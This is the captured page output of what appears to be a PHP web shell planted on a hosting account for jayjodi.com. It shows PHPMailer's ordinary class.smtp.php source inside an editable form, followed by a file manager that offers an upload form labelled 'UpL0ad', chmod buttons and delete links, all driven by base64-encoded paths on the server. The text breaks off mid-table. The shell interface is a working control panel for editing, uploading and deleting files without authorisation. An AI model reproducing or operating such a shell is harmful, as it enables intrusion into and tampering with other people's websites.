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<hr>class.smtp.php<form method=post action="?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI%3D&f=Y2xhc3Muc210cC5waHA%3D"><input name="f" value="class.smtp.php"><textarea name="t">&lt;?php
/**
* PHPMailer RFC821 SMTP email transport class.
* PHP Version 5
* @package PHPMailer
* @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
* @author Marcus Bointon (Synchro/coolbru) &lt;phpmailer@synchromedia.co.uk&gt;
* @author Jim Jagielski (jimjag) &lt;jimjag@gmail.com&gt;
* @author Andy Prevost (codeworxtech) &lt;codeworxtech@users.sourceforge.net&gt;
* @author Brent R. Matzelle (original founder)
* @copyright 2014 Marcus Bointon
* @copyright 2010 - 2012 Jim Jagielski
* @copyright 2004 - 2009 Andy Prevost
* @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
* @note This program is distributed in the hope that it will be useful - WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE.
*/
/**
* PHPMailer RFC821 SMTP email transport class.
* Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
* @package PHPMailer
* @author Chris Ryan
* @author Marcus Bointon &lt;phpmailer@synchromedia.co.uk&gt;
*/
class SMTP
{
/**
* The PHPMailer SMTP version number.
* @type string
*/
const VERSION = '5.2.9';
/**
* SMTP line break constant.
* @type string
*/
const CRLF = &quot;\r\n&quot;;
/**
* The SMTP port to use if one is not specified.
* @type integer
*/
const DEFAULT_SMTP_PORT = 25;
/**
* The maximum line length allowed by RFC 2822 section 2.1.1
* @type integer
*/
const MAX_LINE_LENGTH = 998;
/**
* Debug level for no output
*/
const DEBUG_OFF = 0;
/**
* Debug level to show client -&gt; server messages
*/
const DEBUG_CLIENT = 1;
/**
* Debug level to show client -&gt; server and server -&gt; client messages
*/
const DEBUG_SERVER = 2;
/**
* Debug level to show connection status, client -&gt; server and server -&gt; client messages
*/
const DEBUG_CONNECTION = 3;
/**
* Debug level to show all messages
*/
const DEBUG_LOWLEVEL = 4;
/**
* The PHPMailer SMTP Version number.
* @type string
* @deprecated Use the `VERSION` constant instead
* @see SMTP::VERSION
*/
public $Version = '5.2.9';
/**
* SMTP server port number.
* @type integer
* @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
* @see SMTP::DEFAULT_SMTP_PORT
*/
public $SMTP_PORT = 25;
/**
* SMTP reply line ending.
* @type string
* @deprecated Use the `CRLF` constant instead
* @see SMTP::CRLF
*/
public $CRLF = &quot;\r\n&quot;;
/**
* Debug output level.
* Options:
* * self::DEBUG_OFF (`0`) No debug output, default
* * self::DEBUG_CLIENT (`1`) Client commands
* * self::DEBUG_SERVER (`2`) Client commands and server responses
* * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
* * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
* @type integer
*/
public $do_debug = self::DEBUG_OFF;
/**
* How to handle debug output.
* Options:
* * `echo` Output plain-text as-is, appropriate for CLI
* * `html` Output escaped, line breaks converted to `&lt;br&gt;`, appropriate for browser output
* * `error_log` Output to error log as configured in php.ini
*
* Alternatively, you can provide a callable expecting two params: a message string and the debug level:
* &lt;code&gt;
* $smtp-&gt;Debugoutput = function($str, $level) {echo &quot;debug level $level; message: $str&quot;;};
* &lt;/code&gt;
* @type string|callable
*/
public $Debugoutput = 'echo';
/**
* Whether to use VERP.
* @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
* @link http://www.postfix.org/VERP_README.html Info on VERP
* @type boolean
*/
public $do_verp = false;
/**
* The timeout value for connection, in seconds.
* Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
* This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
* @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
* @type integer
*/
public $Timeout = 300;
/**
* How long to wait for commands to complete, in seconds.
* Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
* @type integer
*/
public $Timelimit = 300;
/**
* The socket for the server connection.
* @type resource
*/
protected $smtp_conn;
/**
* Error message, if any, for the last call.
* @type array
*/
protected $error = array();
/**
* The reply the server sent to us for HELO.
* If null, no HELO string has yet been received.
* @type string|null
*/
protected $helo_rply = null;
/**
* The set of SMTP extensions sent in reply to EHLO command.
* Indexes of the array are extension names.
* Value at index 'HELO' or 'EHLO' (according to command that was sent)
* represents the server name. In case of HELO it is the only element of the array.
* Other values can be boolean TRUE or an array containing extension options.
* If null, no HELO/EHLO string has yet been received.
* @type array|null
*/
protected $server_caps = null;
/**
* The most recent reply received from the server.
* @type string
*/
protected $last_reply = '';
/**
* Output debugging info via a user-selected method.
* @see SMTP::$Debugoutput
* @see SMTP::$do_debug
* @param string $str Debug string to output
* @param integer $level The debug level of this message; see DEBUG_* constants
* @return void
*/
protected function edebug($str, $level = 0)
{
if ($level &gt; $this-&gt;do_debug) {
return;
}
//Avoid clash with built-in function names
if (!in_array($this-&gt;Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this-&gt;Debugoutput)) {
call_user_func($this-&gt;Debugoutput, $str, $this-&gt;do_debug);
return;
}
switch ($this-&gt;Debugoutput) {
case 'error_log':
//Don't output, just log
error_log($str);
break;
case 'html':
//Cleans up output a bit for a better looking, HTML-safe output
echo htmlentities(
preg_replace('/[\r\n]+/', '', $str),
ENT_QUOTES,
'UTF-8'
)
. &quot;&lt;br&gt;\n&quot;;
break;
case 'echo':
default:
//Normalize line breaks
$str = preg_replace('/(\r\n|\r|\n)/ms', &quot;\n&quot;, $str);
echo gmdate('Y-m-d H:i:s') . &quot;\t&quot; . str_replace(
&quot;\n&quot;,
&quot;\n \t &quot;,
trim($str)
).&quot;\n&quot;;
}
}
/**
* Connect to an SMTP server.
* @param string $host SMTP server IP or host name
* @param integer $port The port number to connect to
* @param integer $timeout How long to wait for the connection to open
* @param array $options An array of options for stream_context_create()
* @access public
* @return boolean
*/
public function connect($host, $port = null, $timeout = 30, $options = array())
{
static $streamok;
//This is enabled by default since 5.0.0 but some providers disable it
//Check this once and cache the result
if (is_null($streamok)) {
$streamok = function_exists('stream_socket_client');
}
// Clear errors to avoid confusion
$this-&gt;error = array();
// Make sure we are __not__ connected
if ($this-&gt;connected()) {
// Already connected, generate error
$this-&gt;error = array('error' =&gt; 'Already connected to a server');
return false;
}
if (empty($port)) {
$port = self::DEFAULT_SMTP_PORT;
}
// Connect to the SMTP server
$this-&gt;edebug(
&quot;Connection: opening to $host:$port, t=$timeout, opt=&quot;.var_export($options, true),
self::DEBUG_CONNECTION
);
$errno = 0;
$errstr = '';
if ($streamok) {
$socket_context = stream_context_create($options);
//Suppress errors; connection failures are handled at a higher level
$this-&gt;smtp_conn = @stream_socket_client(
$host . &quot;:&quot; . $port,
$errno,
$errstr,
$timeout,
STREAM_CLIENT_CONNECT,
$socket_context
);
} else {
//Fall back to fsockopen which should work in more places, but is missing some features
$this-&gt;edebug(
&quot;Connection: stream_socket_client not available, falling back to fsockopen&quot;,
self::DEBUG_CONNECTION
);
$this-&gt;smtp_conn = fsockopen(
$host,
$port,
$errno,
$errstr,
$timeout
);
}
// Verify we connected properly
if (!is_resource($this-&gt;smtp_conn)) {
$this-&gt;error = array(
'error' =&gt; 'Failed to connect to server',
'errno' =&gt; $errno,
'errstr' =&gt; $errstr
);
$this-&gt;edebug(
'SMTP ERROR: ' . $this-&gt;error['error']
. &quot;: $errstr ($errno)&quot;,
self::DEBUG_CLIENT
);
return false;
}
$this-&gt;edebug('Connection: opened', self::DEBUG_CONNECTION);
// SMTP server can take longer to respond, give longer timeout for first read
// Windows does not have support for this timeout function
if (substr(PHP_OS, 0, 3) != 'WIN') {
$max = ini_get('max_execution_time');
if ($max != 0 &amp;&amp; $timeout &gt; $max) { // Don't bother if unlimited
@set_time_limit($timeout);
}
stream_set_timeout($this-&gt;smtp_conn, $timeout, 0);
}
// Get any announcement
$announce = $this-&gt;get_lines();
$this-&gt;edebug('SERVER -&gt; CLIENT: ' . $announce, self::DEBUG_SERVER);
return true;
}
/**
* Initiate a TLS (encrypted) session.
* @access public
* @return boolean
*/
public function startTLS()
{
if (!$this-&gt;sendCommand('STARTTLS', 'STARTTLS', 220)) {
return false;
}
// Begin encrypted connection
if (!stream_socket_enable_crypto(
$this-&gt;smtp_conn,
true,
STREAM_CRYPTO_METHOD_TLS_CLIENT
)) {
return false;
}
return true;
}
/**
* Perform SMTP authentication.
* Must be run after hello().
* @see hello()
* @param string $username The user name
* @param string $password The password
* @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
* @param string $realm The auth realm for NTLM
* @param string $workstation The auth workstation for NTLM
* @access public
* @return boolean True if successfully authenticated.
*/
public function authenticate(
$username,
$password,
$authtype = null,
$realm = '',
$workstation = ''
) {
if (!$this-&gt;server_caps) {
$this-&gt;error = array('error' =&gt; 'Authentication is not allowed before HELO/EHLO');
return false;
}
if (array_key_exists('EHLO', $this-&gt;server_caps)) {
// SMTP extensions are available. Let's try to find a proper authentication method
if (!array_key_exists('AUTH', $this-&gt;server_caps)) {
$this-&gt;error = array( 'error' =&gt; 'Authentication is not allowed at this stage' );
// 'at this stage' means that auth may be allowed after the stage changes
// e.g. after STARTTLS
return false;
}
self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
self::edebug(
'Auth methods available on the server: ' . implode(',', $this-&gt;server_caps['AUTH']),
self::DEBUG_LOWLEVEL
);
if (empty($authtype)) {
foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
if (in_array($method, $this-&gt;server_caps['AUTH'])) {
$authtype = $method;
break;
}
}
if (empty($authtype)) {
$this-&gt;error = array( 'error' =&gt; 'No supported authentication methods found' );
return false;
}
self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
}
if (!in_array($authtype, $this-&gt;server_caps['AUTH'])) {
$this-&gt;error = array( 'error' =&gt; 'The requested authentication method &quot;'
. $authtype . '&quot; is not supported by the server' );
return false;
}
} elseif (empty($authtype)) {
$authtype = 'LOGIN';
}
switch ($authtype) {
case 'PLAIN':
// Start authentication
if (!$this-&gt;sendCommand('AUTH', 'AUTH PLAIN', 334)) {
return false;
}
// Send encoded username and password
if (!$this-&gt;sendCommand(
'User &amp; Password',
base64_encode(&quot;\0&quot; . $username . &quot;\0&quot; . $password),
235
)
) {
return false;
}
break;
case 'LOGIN':
// Start authentication
if (!$this-&gt;sendCommand('AUTH', 'AUTH LOGIN', 334)) {
return false;
}
if (!$this-&gt;sendCommand(&quot;Username&quot;, base64_encode($username), 334)) {
return false;
}
if (!$this-&gt;sendCommand(&quot;Password&quot;, base64_encode($password), 235)) {
return false;
}
break;
case 'NTLM':
/*
* ntlm_sasl_client.php
* Bundled with Permission
*
* How to telnet in windows:
* http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
* PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
*/
require_once 'extras/ntlm_sasl_client.php';
$temp = new stdClass();
$ntlm_client = new ntlm_sasl_client_class;
//Check that functions are available
if (!$ntlm_client-&gt;Initialize($temp)) {
$this-&gt;error = array('error' =&gt; $temp-&gt;error);
$this-&gt;edebug(
'You need to enable some modules in your php.ini file: '
. $this-&gt;error['error'],
self::DEBUG_CLIENT
);
return false;
}
//msg1
$msg1 = $ntlm_client-&gt;TypeMsg1($realm, $workstation); //msg1
if (!$this-&gt;sendCommand(
'AUTH NTLM',
'AUTH NTLM ' . base64_encode($msg1),
334
)
) {
return false;
}
//Though 0 based, there is a white space after the 3 digit number
//msg2
$challenge = substr($this-&gt;last_reply, 3);
$challenge = base64_decode($challenge);
$ntlm_res = $ntlm_client-&gt;NTLMResponse(
substr($challenge, 24, 8),
$password
);
//msg3
$msg3 = $ntlm_client-&gt;TypeMsg3(
$ntlm_res,
$username,
$realm,
$workstation
);
// send encoded username
return $this-&gt;sendCommand('Username', base64_encode($msg3), 235);
case 'CRAM-MD5':
// Start authentication
if (!$this-&gt;sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
return false;
}
// Get the challenge
$challenge = base64_decode(substr($this-&gt;last_reply, 4));
// Build the response
$response = $username . ' ' . $this-&gt;hmac($challenge, $password);
// send encoded credentials
return $this-&gt;sendCommand('Username', base64_encode($response), 235);
default:
$this-&gt;error = array( 'error' =&gt; 'Authentication method &quot;' . $authtype . '&quot; is not supported' );
return false;
}
return true;
}
/**
* Calculate an MD5 HMAC hash.
* Works like hash_hmac('md5', $data, $key)
* in case that function is not available
* @param string $data The data to hash
* @param string $key The key to hash with
* @access protected
* @return string
*/
protected function hmac($data, $key)
{
if (function_exists('hash_hmac')) {
return hash_hmac('md5', $data, $key);
}
// The following borrowed from
// http://php.net/manual/en/function.mhash.php#27225
// RFC 2104 HMAC implementation for php.
// Creates an md5 HMAC.
// Eliminates the need to install mhash to compute a HMAC
// by Lance Rushing
$bytelen = 64; // byte length for md5
if (strlen($key) &gt; $bytelen) {
$key = pack('H*', md5($key));
}
$key = str_pad($key, $bytelen, chr(0x00));
$ipad = str_pad('', $bytelen, chr(0x36));
$opad = str_pad('', $bytelen, chr(0x5c));
$k_ipad = $key ^ $ipad;
$k_opad = $key ^ $opad;
return md5($k_opad . pack('H*', md5($k_ipad . $data)));
}
/**
* Check connection state.
* @access public
* @return boolean True if connected.
*/
public function connected()
{
if (is_resource($this-&gt;smtp_conn)) {
$sock_status = stream_get_meta_data($this-&gt;smtp_conn);
if ($sock_status['eof']) {
// The socket is valid but we are not connected
$this-&gt;edebug(
'SMTP NOTICE: EOF caught while checking if connected',
self::DEBUG_CLIENT
);
$this-&gt;close();
return false;
}
return true; // everything looks good
}
return false;
}
/**
* Close the socket and clean up the state of the class.
* Don't use this function without first trying to use QUIT.
* @see quit()
* @access public
* @return void
*/
public function close()
{
$this-&gt;error = array();
$this-&gt;server_caps = null;
$this-&gt;helo_rply = null;
if (is_resource($this-&gt;smtp_conn)) {
// close the connection and cleanup
fclose($this-&gt;smtp_conn);
$this-&gt;smtp_conn = null; //Makes for cleaner serialization
$this-&gt;edebug('Connection: closed', self::DEBUG_CONNECTION);
}
}
/**
* Send an SMTP DATA command.
* Issues a data command and sends the msg_data to the server,
* finializing the mail transaction. $msg_data is the message
* that is to be send with the headers. Each header needs to be
* on a single line followed by a &lt;CRLF&gt; with the message headers
* and the message body being separated by and additional &lt;CRLF&gt;.
* Implements rfc 821: DATA &lt;CRLF&gt;
* @param string $msg_data Message data to send
* @access public
* @return boolean
*/
public function data($msg_data)
{
//This will use the standard timelimit
if (!$this-&gt;sendCommand('DATA', 'DATA', 354)) {
return false;
}
/* The server is ready to accept data!
* According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
* so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
* smaller lines to fit within the limit.
* We will also look for lines that start with a '.' and prepend an additional '.'.
* NOTE: this does not count towards line-length limit.
*/
// Normalize line breaks before exploding
$lines = explode(&quot;\n&quot;, str_replace(array(&quot;\r\n&quot;, &quot;\r&quot;), &quot;\n&quot;, $msg_data));
/* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
* of the first line (':' separated) does not contain a space then it _should_ be a header and we will
* process all lines before a blank line as headers.
*/
$field = substr($lines[0], 0, strpos($lines[0], ':'));
$in_headers = false;
if (!empty($field) &amp;&amp; strpos($field, ' ') === false) {
$in_headers = true;
}
foreach ($lines as $line) {
$lines_out = array();
if ($in_headers and $line == '') {
$in_headers = false;
}
//We need to break this line up into several smaller lines
//This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) &gt; $len)
while (isset($line[self::MAX_LINE_LENGTH])) {
//Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
//so as to avoid breaking in the middle of a word
$pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
if (!$pos) { //Deliberately matches both false and 0
//No nice break found, add a hard break
$pos = self::MAX_LINE_LENGTH - 1;
$lines_out[] = substr($line, 0, $pos);
$line = substr($line, $pos);
} else {
//Break at the found point
$lines_out[] = substr($line, 0, $pos);
//Move along by the amount we dealt with
$line = substr($line, $pos + 1);
}
//If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
if ($in_headers) {
$line = &quot;\t&quot; . $line;
}
}
$lines_out[] = $line;
//Send the lines to the server
foreach ($lines_out as $line_out) {
//RFC2821 section 4.5.2
if (!empty($line_out) and $line_out[0] == '.') {
$line_out = '.' . $line_out;
}
$this-&gt;client_send($line_out . self::CRLF);
}
}
//Message data has been sent, complete the command
//Increase timelimit for end of DATA command
$savetimelimit = $this-&gt;Timelimit;
$this-&gt;Timelimit = $this-&gt;Timelimit * 2;
$result = $this-&gt;sendCommand('DATA END', '.', 250);
//Restore timelimit
$this-&gt;Timelimit = $savetimelimit;
return $result;
}
/**
* Send an SMTP HELO or EHLO command.
* Used to identify the sending server to the receiving server.
* This makes sure that client and server are in a known state.
* Implements RFC 821: HELO &lt;SP&gt; &lt;domain&gt; &lt;CRLF&gt;
* and RFC 2821 EHLO.
* @param string $host The host name or IP to connect to
* @access public
* @return boolean
*/
public function hello($host = '')
{
//Try extended hello first (RFC 2821)
return (boolean)($this-&gt;sendHello('EHLO', $host) or $this-&gt;sendHello('HELO', $host));
}
/**
* Send an SMTP HELO or EHLO command.
* Low-level implementation used by hello()
* @see hello()
* @param string $hello The HELO string
* @param string $host The hostname to say we are
* @access protected
* @return boolean
*/
protected function sendHello($hello, $host)
{
$noerror = $this-&gt;sendCommand($hello, $hello . ' ' . $host, 250);
$this-&gt;helo_rply = $this-&gt;last_reply;
if ($noerror) {
$this-&gt;parseHelloFields($hello);
} else {
$this-&gt;server_caps = null;
}
return $noerror;
}
/**
* Parse a reply to HELO/EHLO command to discover server extensions.
* In case of HELO, the only parameter that can be discovered is a server name.
* @access protected
* @param string $type - 'HELO' or 'EHLO'
*/
protected function parseHelloFields($type)
{
$this-&gt;server_caps = array();
$lines = explode(&quot;\n&quot;, $this-&gt;last_reply);
foreach ($lines as $n =&gt; $s) {
$s = trim(substr($s, 4));
if (!$s) {
continue;
}
$fields = explode(' ', $s);
if ($fields) {
if (!$n) {
$name = $type;
$fields = $fields[0];
} else {
$name = array_shift($fields);
if ($name == 'SIZE') {
$fields = ($fields) ? $fields[0] : 0;
}
}
$this-&gt;server_caps[$name] = ($fields ? $fields : true);
}
}
}
/**
* Send an SMTP MAIL command.
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more recipient
* commands may be called followed by a data command.
* Implements rfc 821: MAIL &lt;SP&gt; FROM:&lt;reverse-path&gt; &lt;CRLF&gt;
* @param string $from Source address of this message
* @access public
* @return boolean
*/
public function mail($from)
{
$useVerp = ($this-&gt;do_verp ? ' XVERP' : '');
return $this-&gt;sendCommand(
'MAIL FROM',
'MAIL FROM:&lt;' . $from . '&gt;' . $useVerp,
250
);
}
/**
* Send an SMTP QUIT command.
* Closes the socket if there is no error or the $close_on_error argument is true.
* Implements from rfc 821: QUIT &lt;CRLF&gt;
* @param boolean $close_on_error Should the connection close if an error occurs?
* @access public
* @return boolean
*/
public function quit($close_on_error = true)
{
$noerror = $this-&gt;sendCommand('QUIT', 'QUIT', 221);
$err = $this-&gt;error; //Save any error
if ($noerror or $close_on_error) {
$this-&gt;close();
$this-&gt;error = $err; //Restore any error from the quit command
}
return $noerror;
}
/**
* Send an SMTP RCPT command.
* Sets the TO argument to $toaddr.
* Returns true if the recipient was accepted false if it was rejected.
* Implements from rfc 821: RCPT &lt;SP&gt; TO:&lt;forward-path&gt; &lt;CRLF&gt;
* @param string $toaddr The address the message is being sent to
* @access public
* @return boolean
*/
public function recipient($toaddr)
{
return $this-&gt;sendCommand(
'RCPT TO',
'RCPT TO:&lt;' . $toaddr . '&gt;',
array(250, 251)
);
}
/**
* Send an SMTP RSET command.
* Abort any transaction that is currently in progress.
* Implements rfc 821: RSET &lt;CRLF&gt;
* @access public
* @return boolean True on success.
*/
public function reset()
{
return $this-&gt;sendCommand('RSET', 'RSET', 250);
}
/**
* Send a command to an SMTP server and check its return code.
* @param string $command The command name - not sent to the server
* @param string $commandstring The actual command to send
* @param integer|array $expect One or more expected integer success codes
* @access protected
* @return boolean True on success.
*/
protected function sendCommand($command, $commandstring, $expect)
{
if (!$this-&gt;connected()) {
$this-&gt;error = array(
'error' =&gt; &quot;Called $command without being connected&quot;
);
return false;
}
$this-&gt;client_send($commandstring . self::CRLF);
$this-&gt;last_reply = $this-&gt;get_lines();
// Fetch SMTP code and possible error code explanation
$matches = array();
if (preg_match(&quot;/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/&quot;, $this-&gt;last_reply, $matches)) {
$code = $matches[1];
$code_ex = (count($matches) &gt; 2 ? $matches[2] : null);
// Cut off error code from each response line
$detail = preg_replace(
&quot;/{$code}[ -]&quot;.($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '').&quot;/m&quot;,
'',
$this-&gt;last_reply
);
} else { // Fall back to simple parsing if regex fails
$code = substr($this-&gt;last_reply, 0, 3);
$code_ex = null;
$detail = substr($this-&gt;last_reply, 4);
}
$this-&gt;edebug('SERVER -&gt; CLIENT: ' . $this-&gt;last_reply, self::DEBUG_SERVER);
if (!in_array($code, (array)$expect)) {
$this-&gt;error = array(
'error' =&gt; &quot;$command command failed&quot;,
'smtp_code' =&gt; $code,
'smtp_code_ex' =&gt; $code_ex,
'detail' =&gt; $detail
);
$this-&gt;edebug(
'SMTP ERROR: ' . $this-&gt;error['error'] . ': ' . $this-&gt;last_reply,
self::DEBUG_CLIENT
);
return false;
}
$this-&gt;error = array();
return true;
}
/**
* Send an SMTP SAML command.
* Starts a mail transaction from the email address specified in $from.
* Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more recipient
* commands may be called followed by a data command. This command
* will send the message to the users terminal if they are logged
* in and send them an email.
* Implements rfc 821: SAML &lt;SP&gt; FROM:&lt;reverse-path&gt; &lt;CRLF&gt;
* @param string $from The address the message is from
* @access public
* @return boolean
*/
public function sendAndMail($from)
{
return $this-&gt;sendCommand('SAML', &quot;SAML FROM:$from&quot;, 250);
}
/**
* Send an SMTP VRFY command.
* @param string $name The name to verify
* @access public
* @return boolean
*/
public function verify($name)
{
return $this-&gt;sendCommand('VRFY', &quot;VRFY $name&quot;, array(250, 251));
}
/**
* Send an SMTP NOOP command.
* Used to keep keep-alives alive, doesn't actually do anything
* @access public
* @return boolean
*/
public function noop()
{
return $this-&gt;sendCommand('NOOP', 'NOOP', 250);
}
/**
* Send an SMTP TURN command.
* This is an optional command for SMTP that this class does not support.
* This method is here to make the RFC821 Definition complete for this class
* and _may_ be implemented in future
* Implements from rfc 821: TURN &lt;CRLF&gt;
* @access public
* @return boolean
*/
public function turn()
{
$this-&gt;error = array(
'error' =&gt; 'The SMTP TURN command is not implemented'
);
$this-&gt;edebug('SMTP NOTICE: ' . $this-&gt;error['error'], self::DEBUG_CLIENT);
return false;
}
/**
* Send raw data to the server.
* @param string $data The data to send
* @access public
* @return integer|boolean The number of bytes sent to the server or false on error
*/
public function client_send($data)
{
$this-&gt;edebug(&quot;CLIENT -&gt; SERVER: $data&quot;, self::DEBUG_CLIENT);
return fwrite($this-&gt;smtp_conn, $data);
}
/**
* Get the latest error.
* @access public
* @return array
*/
public function getError()
{
return $this-&gt;error;
}
/**
* Get SMTP extensions available on the server
* @access public
* @return array|null
*/
public function getServerExtList()
{
return $this-&gt;server_caps;
}
/**
* A multipurpose method
* The method works in three ways, dependent on argument value and current state
* 1. HELO/EHLO was not sent - returns null and set up $this-&gt;error
* 2. HELO was sent
* $name = 'HELO': returns server name
* $name = 'EHLO': returns boolean false
* $name = any string: returns null and set up $this-&gt;error
* 3. EHLO was sent
* $name = 'HELO'|'EHLO': returns server name
* $name = any string: if extension $name exists, returns boolean True
* or its options. Otherwise returns boolean False
* In other words, one can use this method to detect 3 conditions:
* - null returned: handshake was not or we don't know about ext (refer to $this-&gt;error)
* - false returned: the requested feature exactly not exists
* - positive value returned: the requested feature exists
* @param string $name Name of SMTP extension or 'HELO'|'EHLO'
* @return mixed
*/
public function getServerExt($name)
{
if (!$this-&gt;server_caps) {
$this-&gt;error = array('No HELO/EHLO was sent');
return null;
}
// the tight logic knot ;)
if (!array_key_exists($name, $this-&gt;server_caps)) {
if ($name == 'HELO') {
return $this-&gt;server_caps['EHLO'];
}
if ($name == 'EHLO' || array_key_exists('EHLO', $this-&gt;server_caps)) {
return false;
}
$this-&gt;error = array('HELO handshake was used. Client knows nothing about server extensions');
return null;
}
return $this-&gt;server_caps[$name];
}
/**
* Get the last reply from the server.
* @access public
* @return string
*/
public function getLastReply()
{
return $this-&gt;last_reply;
}
/**
* Read the SMTP server's response.
* Either before eof or socket timeout occurs on the operation.
* With SMTP we can tell if we have more lines to read if the
* 4th character is '-' symbol. If it is a space then we don't
* need to read anything else.
* @access protected
* @return string
*/
protected function get_lines()
{
// If the connection is bad, give up straight away
if (!is_resource($this-&gt;smtp_conn)) {
return '';
}
$data = '';
$endtime = 0;
stream_set_timeout($this-&gt;smtp_conn, $this-&gt;Timeout);
if ($this-&gt;Timelimit &gt; 0) {
$endtime = time() + $this-&gt;Timelimit;
}
while (is_resource($this-&gt;smtp_conn) &amp;&amp; !feof($this-&gt;smtp_conn)) {
$str = @fgets($this-&gt;smtp_conn, 515);
$this-&gt;edebug(&quot;SMTP -&gt; get_lines(): \$data was \&quot;$data\&quot;&quot;, self::DEBUG_LOWLEVEL);
$this-&gt;edebug(&quot;SMTP -&gt; get_lines(): \$str is \&quot;$str\&quot;&quot;, self::DEBUG_LOWLEVEL);
$data .= $str;
$this-&gt;edebug(&quot;SMTP -&gt; get_lines(): \$data is \&quot;$data\&quot;&quot;, self::DEBUG_LOWLEVEL);
// If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
if ((isset($str[3]) and $str[3] == ' ')) {
break;
}
// Timed-out? Log and break
$info = stream_get_meta_data($this-&gt;smtp_conn);
if ($info['timed_out']) {
$this-&gt;edebug(
'SMTP -&gt; get_lines(): timed-out (' . $this-&gt;Timeout . ' sec)',
self::DEBUG_LOWLEVEL
);
break;
}
// Now check if reads took too long
if ($endtime and time() &gt; $endtime) {
$this-&gt;edebug(
'SMTP -&gt; get_lines(): timelimit reached ('.
$this-&gt;Timelimit . ' sec)',
self::DEBUG_LOWLEVEL
);
break;
}
}
return $data;
}
/**
* Enable or disable VERP address generation.
* @param boolean $enabled
*/
public function setVerp($enabled = false)
{
$this-&gt;do_verp = $enabled;
}
/**
* Get VERP address generation mode.
* @return boolean
*/
public function getVerp()
{
return $this-&gt;do_verp;
}
/**
* Set debug output method.
* @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
*/
public function setDebugOutput($method = 'echo')
{
$this-&gt;Debugoutput = $method;
}
/**
* Get debug output method.
* @return string
*/
public function getDebugOutput()
{
return $this-&gt;Debugoutput;
}
/**
* Set debug output level.
* @param integer $level
*/
public function setDebugLevel($level = 0)
{
$this-&gt;do_debug = $level;
}
/**
* Get debug output level.
* @return integer
*/
public function getDebugLevel()
{
return $this-&gt;do_debug;
}
/**
* Set SMTP timeout.
* @param integer $timeout
*/
public function setTimeout($timeout = 0)
{
$this-&gt;Timeout = $timeout;
}
/**
* Get SMTP timeout.
* @return integer
*/
public function getTimeout()
{
return $this-&gt;Timeout;
}
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20=">/home/featspac/public_html/jayjodi.com</a><hr>curdir: /home/featspac/public_html/jayjodi.com/SMTP-PHPmailer<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&f=Lg==&c=`+btoa(c):0" value="0775"></td><td>71</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&f=Li4=&c=`+btoa(c):0" value="0750"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&x=Y2xhc3MucGhwbWFpbGVyLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&f=Y2xhc3MucGhwbWFpbGVyLnBocA=="/>class.phpmailer.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&f=Y2xhc3MucGhwbWFpbGVyLnBocA==&c=`+btoa(c):0" value="0664"></td><td>74527</td></tr><tr><td><a 